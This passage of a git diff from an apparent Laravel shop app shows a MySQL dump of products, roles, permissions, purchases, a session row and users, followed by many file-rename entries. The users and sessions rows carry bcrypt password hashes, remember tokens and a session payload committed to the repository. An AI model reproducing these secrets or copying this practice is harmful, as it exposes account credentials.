'web', '2025-05-18 07:44:48', '2025-05-18 07:44:48'), +(3, 'delete_products', 'web', '2025-05-18 07:44:48', '2025-05-18 07:44:48'), +(4, 'show_users', 'web', '2025-05-18 07:44:48', '2025-05-18 07:44:48'), +(5, 'edit_users', 'web', '2025-05-18 07:44:48', '2025-05-18 07:44:48'), +(6, 'delete_users', 'web', '2025-05-18 07:44:48', '2025-05-18 07:44:48'), +(7, 'admin_users', 'web', '2025-05-18 07:44:48', '2025-05-18 07:44:48'), +(9, 'add_review', 'web', NULL, NULL), +(10, 'manage_sales', 'web', '2025-05-21 05:15:18', '2025-05-21 05:15:18'), +(11, 'buy_products', 'web', '2025-05-21 05:15:18', '2025-05-21 05:15:18'), +(12, 'view_purchases', 'web', '2025-05-21 05:15:18', '2025-05-21 05:15:18'), +(13, 'manage_inventory', 'web', '2025-05-21 05:15:18', '2025-05-21 05:15:18'); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `products` +-- + +CREATE TABLE `products` ( + `id` bigint(20) UNSIGNED NOT NULL, + `name` varchar(255) NOT NULL, + `description` text NOT NULL, + `price` decimal(8,2) NOT NULL, + `stock_quantity` int(11) NOT NULL DEFAULT 0, + `stock` int(11) NOT NULL, + `image` varchar(255) DEFAULT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL, + `review` varchar(11) NOT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- +-- Dumping data for table `products` +-- + +INSERT INTO `products` (`id`, `name`, `description`, `price`, `stock_quantity`, `stock`, `image`, `created_at`, `updated_at`, `review`) VALUES +(1, 'Samsung 32\" HD Smart TV', 'HD resolution, Smart TV functionality with built-in streaming apps', 299.99, 2, 15, 'tv2.jpg', '2025-04-08 18:50:48', '2025-05-21 16:28:06', 'good'), +(2, 'LG 50\" 4K Smart TV', '4K Ultra HD resolution, WebOS, Smart features with AI ThinQ', 499.99, 6, 9, 'lgtv50.jpg', '2025-04-08 18:50:48', '2025-05-21 16:22:24', 'very good'), +(3, 'Sharp 55\" Smart TV', '4K Ultra HD, Android TV, Built-in Chromecast', 599.99, 11, 8, 'tv3.jpg', '2025-04-08 18:50:48', '2025-05-21 16:22:34', '0'), +(4, 'Engel 50\" LED TV', 'Full HD resolution, Multiple HDMI ports, USB media playback', 399.99, 0, 12, 'tv4.jpg', '2025-04-08 18:50:48', '2025-04-08 18:50:48', '0'), +(5, 'Toshiba Side-by-Side Refrigerator', 'Large capacity, Water dispenser, Energy efficient', 899.99, 0, 5, 'tsrf50.jpg', '2025-04-08 18:50:48', '2025-04-08 18:50:48', '0'), +(6, 'Samsung French Door Refrigerator', 'Smart Family Hub, Twin Cooling Plus, FlexZone drawer', 1499.99, 0, 3, 'rf2.jpg', '2025-04-08 18:50:48', '2025-04-08 18:50:48', '0'), +(7, 'LG Double Door Refrigerator', 'Door-in-Door feature, Linear Cooling, Smart ThinQ', 1299.99, 0, 3, 'rf3.jpg', '2025-04-08 18:50:48', '2025-04-09 10:33:44', '0'), +(8, 'Hisense Multi Door Refrigerator', 'Multi Air Flow System, LED lighting, No Frost technology', 999.99, 0, 6, 'rf4.jpg', '2025-04-08 18:50:48', '2025-04-08 18:50:48', '0'), +(9, 'Beko Cross Door Refrigerator', 'NeoFrost Dual Cooling, Active Fresh Blue Light, EverFresh+', 1199.99, 0, 4, 'rf5.jpg', '2025-04-08 18:50:48', '2025-04-08 18:50:48', '0'), +(10, 'Frigidaire Side-by-Side Refrigerator', 'PureSource Ultra II Water Filtration, Store-More capacity', 1099.99, 0, 5, 'rf6.jpg', '2025-04-08 18:50:48', '2025-04-08 18:50:48', '0'); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `purchases` +-- + +CREATE TABLE `purchases` ( + `id` bigint(20) UNSIGNED NOT NULL, + `user_id` bigint(20) UNSIGNED NOT NULL, + `product_id` bigint(20) UNSIGNED NOT NULL, + `price_at_purchase` decimal(10,2) NOT NULL, + `purchase_date` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- +-- Dumping data for table `purchases` +-- + +INSERT INTO `purchases` (`id`, `user_id`, `product_id`, `price_at_purchase`, `purchase_date`, `created_at`, `updated_at`) VALUES +(1, 3, 2, 0.00, '2025-04-09 07:27:47', '2025-04-09 07:27:47', '2025-04-09 07:27:47'), +(2, 3, 7, 0.00, '2025-04-09 10:33:44', '2025-04-09 10:33:44', '2025-04-09 10:33:44'), +(3, 3, 1, 299.99, '2025-05-21 19:28:06', '2025-05-21 16:28:06', '2025-05-21 16:28:06'); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `roles` +-- + +CREATE TABLE `roles` ( + `id` bigint(20) UNSIGNED NOT NULL, + `name` varchar(255) NOT NULL, + `guard_name` varchar(255) NOT NULL DEFAULT 'web', + `description` varchar(255) DEFAULT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- +-- Dumping data for table `roles` +-- + +INSERT INTO `roles` (`id`, `name`, `guard_name`, `description`, `created_at`, `updated_at`) VALUES +(1, 'Admin', 'web', 'Administrator with full access', '2025-04-08 18:50:48', '2025-04-08 18:50:48'), +(2, 'Employee', 'web', 'Employee who can manage credits', '2025-04-08 18:50:48', '2025-04-08 18:50:48'), +(3, 'Customer', 'web', 'Regular customer who can make purchases', '2025-04-08 18:50:48', '2025-04-08 18:50:48'); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `role_has_permissions` +-- + +CREATE TABLE `role_has_permissions` ( + `permission_id` bigint(20) UNSIGNED NOT NULL, + `role_id` bigint(20) UNSIGNED NOT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- +-- Dumping data for table `role_has_permissions` +-- + +INSERT INTO `role_has_permissions` (`permission_id`, `role_id`) VALUES +(1, 1), +(1, 2), +(2, 1), +(2, 2), +(3, 1), +(3, 2), +(4, 1), +(4, 2), +(5, 1), +(6, 1), +(7, 1), +(9, 3), +(10, 1), +(10, 2), +(11, 3), +(12, 3), +(13, 1), +(13, 2); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `sessions` +-- + +CREATE TABLE `sessions` ( + `id` varchar(255) NOT NULL, + `user_id` bigint(20) UNSIGNED DEFAULT NULL, + `ip_address` varchar(45) DEFAULT NULL, + `user_agent` text DEFAULT NULL, + `payload` longtext NOT NULL, + `last_activity` int(11) NOT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- +-- Dumping data for table `sessions` +-- + +INSERT INTO `sessions` (`id`, `user_id`, `ip_address`, `user_agent`, `payload`, `last_activity`) VALUES +('QvsRyFT3oO0S9Jm76L187xV58mOt1zFRQycHr3iT', 3, '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36', 'YTo1OntzOjY6Il90b2tlbiI7czo0MDoiejVVd1Bja2RtUE1aQUR6Z1hBRnFUYUwwSnc3S0lreTgzUVhwN0s0OCI7czo5OiJfcHJldmlvdXMiO2E6MTp7czozOiJ1cmwiO3M6MzE6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9wdXJjaGFzZXMiO31zOjY6Il9mbGFzaCI7YToyOntzOjM6Im9sZCI7YTowOnt9czozOiJuZXciO2E6MDp7fX1zOjU6InN0YXRlIjtzOjQwOiJvdk9NVVFDa0xmWE5OWWZVMWVEN2xmN29Gc3h1NElrbkI5ckFlUGhBIjtzOjUwOiJsb2dpbl93ZWJfNTliYTM2YWRkYzJiMmY5NDAxNTgwZjAxNGM3ZjU4ZWE0ZTMwOTg5ZCI7aTozO30=', 1747855693); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `users` +-- + +CREATE TABLE `users` ( + `id` bigint(20) UNSIGNED NOT NULL, + `created_by` bigint(20) UNSIGNED DEFAULT NULL, + `name` varchar(255) NOT NULL, + `email` varchar(255) NOT NULL, + `credit` decimal(10,2) NOT NULL DEFAULT 0.00, + `email_verified_at` timestamp NULL DEFAULT NULL, + `password` varchar(255) NOT NULL, + `remember_token` varchar(100) DEFAULT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL, + `role_id` bigint(20) UNSIGNED DEFAULT NULL, + `google_id` varchar(255) DEFAULT NULL, + `google_token` varchar(255) DEFAULT NULL, + `google_refresh_token` varchar(255) DEFAULT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- +-- Dumping data for table `users` +-- + +INSERT INTO `users` (`id`, `created_by`, `name`, `email`, `credit`, `email_verified_at`, `password`, `remember_token`, `created_at`, `updated_at`, `role_id`, `google_id`, `google_token`, `google_refresh_token`) VALUES +(1, NULL, 'Sarah Johnson', 'sarah@admin.com', 1000.00, NULL, '$2y$12$an2ZgEhbBCXNv7w12SQZYO2gGEAWo3glzH0TDmQ8s0zgFGWSiX216', 'EvXkaDAXiJoN5t6z8x7EP1mgDrLrUWheTi1qFk99L5IejcWAzKRjgS2zMR9Y', '2025-04-08 18:50:48', '2025-05-21 05:52:21', 1, NULL, NULL, NULL), +(2, NULL, 'Michael Chen', 'michael@employee.com', 1000.00, NULL, '$2y$12$mOy9OaLj6uBWWYQsDiK9dOCR77bmJng1bPXDexudb9nV1omiqu/ba', 'abemtV4XVgvArW7GIt5DUlOLjiPgwRjs0gIqwv4oOkHG2M5NMc84x78BwiDF', '2025-04-08 18:50:48', '2025-05-21 05:52:18', 2, NULL, NULL, NULL), +(3, NULL, 'Emma Thompson', 'emma@customer.com', 10700.01, NULL, '$2y$12$nvafGs1x44DiYIYQ66wGcuehWJMUqS4lqsbq1Ae6eV/X4vJLC6/we', '7XZ9Z9MHhGfPnVKTkhAL8ZzaGnBkRU4CUfJsptuBziEgEc6p8boMgQ9KFzV2', '2025-04-08 18:50:49', '2025-05-21 16:28:06', 3, NULL, NULL, NULL), +(7, NULL, 'selim ElSaadany', 'selim@customer.com', 2000.00, NULL, '$2y$12$9X1uixpsqNSll6xiiWh1Xu68AOeC2NcCArK1tklnoJKBXO5igqed6', 'YfSx2yqg5r1cEBfVsya4Bk2S3mmXd2EX4VtfzeaomYjSxcBCT13s9E1IcnWd', '2025-04-09 10:57:05', '2025-05-21 13:49:36', 3, NULL, NULL, NULL), +(9, NULL, 'test', 'test@employees.com', 0.00, NULL, '$2y$12$ICiqzqRn.hIMvZHk7X5j2ulCNadRfloyS/YJ4uQrUIgRNIJgAEl8O', NULL, '2025-05-18 08:07:21', '2025-05-18 08:07:21', NULL, NULL, NULL, NULL); + +-- +-- Indexes for dumped tables +-- + +-- +-- Indexes for table `cache` +-- +ALTER TABLE `cache` + ADD PRIMARY KEY (`key`); + +-- +-- Indexes for table `cache_locks` +-- +ALTER TABLE `cache_locks` + ADD PRIMARY KEY (`key`); + +-- +-- Indexes for table `credits` +-- +ALTER TABLE `credits` + ADD PRIMARY KEY (`id`), + ADD KEY `credits_user_id_foreign` (`user_id`); + +-- +-- Indexes for table `credit_transactions` +-- +ALTER TABLE `credit_transactions` + ADD PRIMARY KEY (`id`), + ADD KEY `credit_transactions_user_id_foreign` (`user_id`); + +-- +-- Indexes for table `failed_jobs` +-- +ALTER TABLE `failed_jobs` + ADD PRIMARY KEY (`id`), + ADD UNIQUE KEY `failed_jobs_uuid_unique` (`uuid`); + +-- +-- Indexes for table `favorites` +-- +ALTER TABLE `favorites` + ADD PRIMARY KEY (`id`), + ADD UNIQUE KEY `favorites_user_id_product_id_unique` (`user_id`,`product_id`), + ADD KEY `favorites_product_id_foreign` (`product_id`); + +-- +-- Indexes for table `jobs` +-- +ALTER TABLE `jobs` + ADD PRIMARY KEY (`id`), + ADD KEY `jobs_queue_index` (`queue`); + +-- +-- Indexes for table `job_batches` +-- +ALTER TABLE `job_batches` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `migrations` +-- +ALTER TABLE `migrations` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `model_has_permissions` +-- +ALTER TABLE `model_has_permissions` + ADD PRIMARY KEY (`permission_id`,`model_id`,`model_type`), + ADD KEY `model_has_permissions_model_id_model_type_index` (`model_id`,`model_type`); + +-- +-- Indexes for table `model_has_roles` +-- +ALTER TABLE `model_has_roles` + ADD PRIMARY KEY (`role_id`,`model_id`,`model_type`), + ADD KEY `model_has_roles_model_id_model_type_index` (`model_id`,`model_type`); + +-- +-- Indexes for table `oauth_access_tokens` +-- +ALTER TABLE `oauth_access_tokens` + ADD PRIMARY KEY (`id`), + ADD KEY `oauth_access_tokens_user_id_index` (`user_id`); + +-- +-- Indexes for table `oauth_auth_codes` +-- +ALTER TABLE `oauth_auth_codes` + ADD PRIMARY KEY (`id`), + ADD KEY `oauth_auth_codes_user_id_index` (`user_id`); + +-- +-- Indexes for table `oauth_clients` +-- +ALTER TABLE `oauth_clients` + ADD PRIMARY KEY (`id`), + ADD KEY `oauth_clients_user_id_index` (`user_id`); + +-- +-- Indexes for table `oauth_personal_access_clients` +-- +ALTER TABLE `oauth_personal_access_clients` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `oauth_refresh_tokens` +-- +ALTER TABLE `oauth_refresh_tokens` + ADD PRIMARY KEY (`id`), + ADD KEY `oauth_refresh_tokens_access_token_id_index` (`access_token_id`); + +-- +-- Indexes for table `password_reset_tokens` +-- +ALTER TABLE `password_reset_tokens` + ADD PRIMARY KEY (`email`); + +-- +-- Indexes for table `permissions` +-- +ALTER TABLE `permissions` + ADD PRIMARY KEY (`id`), + ADD UNIQUE KEY `permissions_name_guard_name_unique` (`name`,`guard_name`); + +-- +-- Indexes for table `products` +-- +ALTER TABLE `products` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `purchases` +-- +ALTER TABLE `purchases` + ADD PRIMARY KEY (`id`), + ADD KEY `purchases_user_id_foreign` (`user_id`), + ADD KEY `purchases_product_id_foreign` (`product_id`); + +-- +-- Indexes for table `roles` +-- +ALTER TABLE `roles` + ADD PRIMARY KEY (`id`), + ADD UNIQUE KEY `roles_name_unique` (`name`); + +-- +-- Indexes for table `role_has_permissions` +-- +ALTER TABLE `role_has_permissions` + ADD PRIMARY KEY (`permission_id`,`role_id`), + ADD KEY `role_has_permissions_role_id_foreign` (`role_id`); + +-- +-- Indexes for table `sessions` +-- +ALTER TABLE `sessions` + ADD PRIMARY KEY (`id`), + ADD KEY `sessions_user_id_index` (`user_id`), + ADD KEY `sessions_last_activity_index` (`last_activity`); + +-- +-- Indexes for table `users` +-- +ALTER TABLE `users` + ADD PRIMARY KEY (`id`), + ADD UNIQUE KEY `users_email_unique` (`email`), + ADD KEY `users_role_id_foreign` (`role_id`); + +-- +-- AUTO_INCREMENT for dumped tables +-- + +-- +-- AUTO_INCREMENT for table `credits` +-- +ALTER TABLE `credits` + MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6; + +-- +-- AUTO_INCREMENT for table `credit_transactions` +-- +ALTER TABLE `credit_transactions` + MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=9; + +-- +-- AUTO_INCREMENT for table `failed_jobs` +-- +ALTER TABLE `failed_jobs` + MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT; + +-- +-- AUTO_INCREMENT for table `favorites` +-- +ALTER TABLE `favorites` + MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5; + +-- +-- AUTO_INCREMENT for table `jobs` +-- +ALTER TABLE `jobs` + MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT; + +-- +-- AUTO_INCREMENT for table `migrations` +-- +ALTER TABLE `migrations` + MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=26; + +-- +-- AUTO_INCREMENT for table `oauth_personal_access_clients` +-- +ALTER TABLE `oauth_personal_access_clients` + MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT; + +-- +-- AUTO_INCREMENT for table `permissions` +-- +ALTER TABLE `permissions` + MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=14; + +-- +-- AUTO_INCREMENT for table `products` +-- +ALTER TABLE `products` + MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=11; + +-- +-- AUTO_INCREMENT for table `purchases` +-- +ALTER TABLE `purchases` + MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; + +-- +-- AUTO_INCREMENT for table `roles` +-- +ALTER TABLE `roles` + MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5; + +-- +-- AUTO_INCREMENT for table `users` +-- +ALTER TABLE `users` + MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=12; + +-- +-- Constraints for dumped tables +-- + +-- +-- Constraints for table `credits` +-- +ALTER TABLE `credits` + ADD CONSTRAINT `credits_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE; + +-- +-- Constraints for table `credit_transactions` +-- +ALTER TABLE `credit_transactions` + ADD CONSTRAINT `credit_transactions_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE; + +-- +-- Constraints for table `favorites` +-- +ALTER TABLE `favorites` + ADD CONSTRAINT `favorites_product_id_foreign` FOREIGN KEY (`product_id`) REFERENCES `products` (`id`) ON DELETE CASCADE, + ADD CONSTRAINT `favorites_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE; + +-- +-- Constraints for table `model_has_permissions` +-- +ALTER TABLE `model_has_permissions` + ADD CONSTRAINT `model_has_permissions_permission_id_foreign` FOREIGN KEY (`permission_id`) REFERENCES `permissions` (`id`) ON DELETE CASCADE; + +-- +-- Constraints for table `model_has_roles` +-- +ALTER TABLE `model_has_roles` + ADD CONSTRAINT `model_has_roles_role_id_foreign` FOREIGN KEY (`role_id`) REFERENCES `roles` (`id`) ON DELETE CASCADE; + +-- +-- Constraints for table `purchases` +-- +ALTER TABLE `purchases` + ADD CONSTRAINT `purchases_product_id_foreign` FOREIGN KEY (`product_id`) REFERENCES `products` (`id`) ON DELETE CASCADE, + ADD CONSTRAINT `purchases_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE; + +-- +-- Constraints for table `role_has_permissions` +-- +ALTER TABLE `role_has_permissions` + ADD CONSTRAINT `role_has_permissions_permission_id_foreign` FOREIGN KEY (`permission_id`) REFERENCES `permissions` (`id`) ON DELETE CASCADE, + ADD CONSTRAINT `role_has_permissions_role_id_foreign` FOREIGN KEY (`role_id`) REFERENCES `roles` (`id`) ON DELETE CASCADE; + +-- +-- Constraints for table `users` +-- +ALTER TABLE `users` + ADD CONSTRAINT `users_role_id_foreign` FOREIGN KEY (`role_id`) REFERENCES `roles` (`id`) ON DELETE SET NULL; +COMMIT; + +/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; +/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; +/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; diff --git a/WebSecService/package.json b/package.json similarity index 100% rename from WebSecService/package.json rename to package.json diff --git a/WebSecService/phpunit.xml b/phpunit.xml similarity index 100% rename from WebSecService/phpunit.xml rename to phpunit.xml diff --git a/WebSecService/postcss.config.js b/postcss.config.js similarity index 100% rename from WebSecService/postcss.config.js rename to postcss.config.js diff --git a/WebSecService/public/.htaccess b/public/.htaccess similarity index 100% rename from WebSecService/public/.htaccess rename to public/.htaccess diff --git a/WebSecService/public/css/bootstrap-grid.css b/public/css/bootstrap-grid.css similarity index 100% rename from WebSecService/public/css/bootstrap-grid.css rename to public/css/bootstrap-grid.css diff --git a/WebSecService/public/css/bootstrap-grid.css.map b/public/css/bootstrap-grid.css.map similarity index 100% rename from WebSecService/public/css/bootstrap-grid.css.map rename to public/css/bootstrap-grid.css.map diff --git a/WebSecService/public/css/bootstrap-grid.min.css b/public/css/bootstrap-grid.min.css similarity index 100% rename from WebSecService/public/css/bootstrap-grid.min.css rename to public/css/bootstrap-grid.min.css diff --git a/WebSecService/public/css/bootstrap-grid.min.css.map b/public/css/bootstrap-grid.min.css.map similarity index 100% rename from WebSecService/public/css/bootstrap-grid.min.css.map rename to public/css/bootstrap-grid.min.css.map diff --git a/WebSecService/public/css/bootstrap-grid.rtl.css b/public/css/bootstrap-grid.rtl.css similarity index 100% rename from WebSecService/public/css/bootstrap-grid.rtl.css rename to public/css/bootstrap-grid.rtl.css diff --git a/WebSecService/public/css/bootstrap-grid.rtl.css.map b/public/css/bootstrap-grid.rtl.css.map similarity index 100% rename from WebSecService/public/css/bootstrap-grid.rtl.css.map rename to public/css/bootstrap-grid.rtl.css.map diff --git a/WebSecService/public/css/bootstrap-grid.rtl.min.css b/public/css/bootstrap-grid.rtl.min.css similarity index 100% rename from WebSecService/public/css/bootstrap-grid.rtl.min.css rename to public/css/bootstrap-grid.rtl.min.css diff --git a/WebSecService/public/css/bootstrap-grid.rtl.min.css.map b/public/css/bootstrap-grid.rtl.min.css.map similarity index 100% rename from WebSecService/public/css/bootstrap-grid.rtl.min.css.map rename to public/css/bootstrap-grid.rtl.min.css.map diff --git a/WebSecService/public/css/bootstrap-reboot.css b/public/css/bootstrap-reboot.css similarity index 100% rename from WebSecService/public/css/bootstrap-reboot.css rename to public/css/bootstrap-reboot.css diff --git a/WebSecService/public/css/bootstrap-reboot.css.map b/public/css/bootstrap-reboot.css.map similarity index 100% rename from WebSecService/public/css/bootstrap-reboot.css.map rename to public/css/bootstrap-reboot.css.map diff --git a/WebSecService/public/css/bootstrap-reboot.min.css b/public/css/bootstrap-reboot.min.css similarity index 100% rename from WebSecService/public/css/bootstrap-reboot.min.css rename to public/css/bootstrap-reboot.min.css diff --git a/WebSecService/public/css/bootstrap-reboot.min.css.map b/public/css/bootstrap-reboot.min.css.map similarity index 100% rename from WebSecService/public/css/bootstrap-reboot.min.css.map rename to public/css/bootstrap-reboot.min.css.map diff --git a/WebSecService/public/css/bootstrap-reboot.rtl.css b/public/css/bootstrap-reboot.rtl.css similarity index 100% rename from WebSecService/public/css/bootstrap-reboot.rtl.css rename to public/css/bootstrap-reboot.rtl.css diff --git a/WebSecService/public/css/bootstrap-reboot.rtl.css.map b/public/css/bootstrap-reboot.rtl.css.map similarity index 100% rename from WebSecService/public/css/bootstrap-reboot.rtl.css.map rename to public/css/bootstrap-reboot.rtl.css.map diff --git a/WebSecService/public/css/bootstrap-reboot.rtl.min.css b/public/css/bootstrap-reboot.rtl.min.css similarity index 100% rename from WebSecService/public/css/bootstrap-reboot.rtl.min.css rename to public/css/bootstrap-reboot.rtl.min.css diff --git a/WebSecService/public/css/bootstrap-reboot.rtl.min.css.map b/public/css/bootstrap-reboot.rtl.min.css.map similarity index 100% rename from WebSecService/public/css/bootstrap-reboot.rtl.min.css.map rename to public/css/bootstrap-reboot.rtl.min.css.map diff --git a/WebSecService/public/css/bootstrap-utilities.css b/public/css/bootstrap-utilities.css similarity index 100% rename from WebSecService/public/css/bootstrap-utilities.css rename to public/css/bootstrap-utilities.css diff --git a/WebSecService/public/css/bootstrap-utilities.css.map b/public/css/bootstrap-utilities.css.map similarity index 100% rename from WebSecService/public/css/bootstrap-utilities.css.map rename to public/css/bootstrap-utilities.css.map diff --git a/WebSecService/public/css/bootstrap-utilities.min.css b/public/css/bootstrap-utilities.min.css similarity index 100% rename from WebSecService/public/css/bootstrap-utilities.min.css rename to public/css/bootstrap-utilities.min.css diff --git a/WebSecService/public/css/bootstrap-utilities.min.css.map b/public/css/bootstrap-utilities.min.css.map similarity index 100% rename from WebSecService/public/css/bootstrap-utilities.min.css.map rename to public/css/bootstrap-utilities.min.css.map diff --git a/WebSecService/public/css/bootstrap-utilities.rtl.css b/public/css/bootstrap-utilities.rtl.css similarity index 100% rename from WebSecService/public/css/bootstrap-utilities.rtl.css rename to public/css/bootstrap-utilities.rtl.css diff --git a/WebSecService/public/css/bootstrap-utilities.rtl.css.map b/public/css/bootstrap-utilities.rtl.css.map similarity index 100% rename from WebSecService/public/css/bootstrap-utilities.rtl.css.map rename to public/css/bootstrap-utilities.rtl.css.map diff --git a/WebSecService/public/css/bootstrap-utilities.rtl.min.css b/public/css/bootstrap-utilities.rtl.min.css similarity index 100% rename from WebSecService/public/css/bootstrap-utilities.rtl.min.css rename to public/css/bootstrap-utilities.rtl.min.css diff --git a/WebSecService/public/css/bootstrap-utilities.rtl.min.css.map b/public/css/bootstrap-utilities.rtl.min.css.map similarity index 100% rename from WebSecService/public/css/bootstrap-utilities.rtl.min.css.map rename to public/css/bootstrap-utilities.rtl.min.css.map diff --git a/WebSecService/public/css/bootstrap.css b/public/css/bootstrap.css similarity index 100% rename from WebSecService/public/css/bootstrap.css rename to public/css/bootstrap.css diff --git a/WebSecService/public/css/bootstrap.css.map b/public/css/bootstrap.css.map similarity index 100% rename from WebSecService/public/css/bootstrap.css.map rename to public/css/bootstrap.css.map diff --git a/WebSecService/public/css/bootstrap.min.css b/public/css/bootstrap.min.css similarity index 100% rename from WebSecService/public/css/bootstrap.min.css rename to public/css/bootstrap.min.css diff --git a/WebSecService/public/css/bootstrap.min.css.map b/public/css/bootstrap.min.css.map similarity index 100% rename from WebSecService/public/css/bootstrap.min.css.map rename to public/css/bootstrap.min.css.map diff --git a/WebSecService/public/css/bootstrap.rtl.css b/public/css/bootstrap.rtl.css similarity index 100% rename from WebSecService/public/css/bootstrap.rtl.css rename to public/css/bootstrap.rtl.css diff --git a/WebSecService/public/css/bootstrap.rtl.css.map b/public/css/bootstrap.rtl.css.map similarity index 100% rename from WebSecService/public/css/bootstrap.rtl.css.map rename to public/css/bootstrap.rtl.css.map diff --git a/WebSecService/public/css/bootstrap.rtl.min.css b/public/css/bootstrap.rtl.min.css similarity index 100% rename from WebSecService/public/css/bootstrap.rtl.min.css rename to public/css/bootstrap.rtl.min.css diff --git a/WebSecService/public/css/bootstrap.rtl.min.css.map b/public/css/bootstrap.rtl.min.css.map similarity index 100% rename from WebSecService/public/css/bootstrap.rtl.min.css.map rename to public/css/bootstrap.rtl.min.css.map diff --git a/WebSecService/public/favicon.ico b/public/favicon.ico similarity index 100% rename from WebSecService/public/favicon.ico rename to public/favicon.ico diff --git a/WebSecService/public/images/lgtv50.jpg b/public/images/lgtv50.jpg similarity index 100% rename from WebSecService/public/images/lgtv50.jpg rename to public/images/lgtv50.jpg diff --git a/WebSecService/public/images/rf2.jpg b/public/images/rf2.jpg similarity index 100% rename from WebSecService/public/images/rf2.jpg rename to public/images/rf2.jpg diff --git a/WebSecService/public/images/rf3.jpg b/public/images/rf3.jpg similarity index 100% rename from WebSecService/public/images/rf3.jpg rename to public/images/rf3.jpg diff --git a/WebSecService/public/images/rf4.jpg b/public/images/rf4.jpg similarity index 100% rename from WebSecService/public/images/rf4.jpg rename to public/images/rf4.jpg diff --git a/WebSecService/public/images/rf5.jpg b/public/images/rf5.jpg similarity index 100% rename from WebSecService/public/images/rf5.jpg rename to public/images/rf5.jpg diff --git a/WebSecService/public/images/rf6.jpg b/public/images/rf6.jpg similarity index 100% rename from WebSecService/public/images/rf6.jpg rename to public/images/rf6.jpg diff --git a/WebSecService/public/images/tsrf50.jpg b/public/images/tsrf50.jpg similarity index 100% rename from WebSecService/public/images/tsrf50.jpg rename to public/images/tsrf50.jpg diff --git a/WebSecService/public/images/tv2.jpg b/public/images/tv2.jpg similarity index 100% rename from WebSecService/public/images/tv2.jpg rename to public/images/tv2.jpg diff --git a/WebSecService/public/images/tv3.jpg b/public/images/tv3.jpg similarity index 100% rename from WebSecService/public/images/tv3.jpg rename to public/images/tv3.jpg diff --git a/WebSecService/public/images/tv4.jpg b/public/images/tv4.jpg similarity index 100% rename from WebSecService/public/images/tv4.jpg rename to public/images/tv4.jpg diff --git a/WebSecService/public/index.php b/public/index.php similarity index 100% rename from WebSecService/public/index.php rename to public/index.php diff --git a/WebSecService/public/js/bootstrap.bundle.js b/public/js/bootstrap.bundle.js similarity index 100% rename from WebSecService/public/js/bootstrap.bundle.js rename to public/js/bootstrap.bundle.js diff --git a/WebSecService/public/js/bootstrap.bundle.js.map b/public/js/bootstrap.bundle.js.map similarity index 100% rename from WebSecService/public/js/bootstrap.bundle.js.map rename to public/js/bootstrap.bundle.js.map diff --git a/WebSecService/public/js/bootstrap.bundle.min.js b/public/js/bootstrap.bundle.min.js similarity index 100% rename from WebSecService/public/js/bootstrap.bundle.min.js rename to public/js/bootstrap.bundle.min.js diff --git a/WebSecService/public/js/bootstrap.bundle.min.js.map b/public/js/bootstrap.bundle.min.js.map similarity index 100% rename from WebSecService/public/js/bootstrap.bundle.min.js.map rename to public/js/bootstrap.bundle.min.js.map diff --git a/WebSecService/public/js/bootstrap.esm.js b/public/js/bootstrap.esm.js similarity index 100% rename from WebSecService/public/js/bootstrap.esm.js rename to public/js/bootstrap.esm.js diff --git 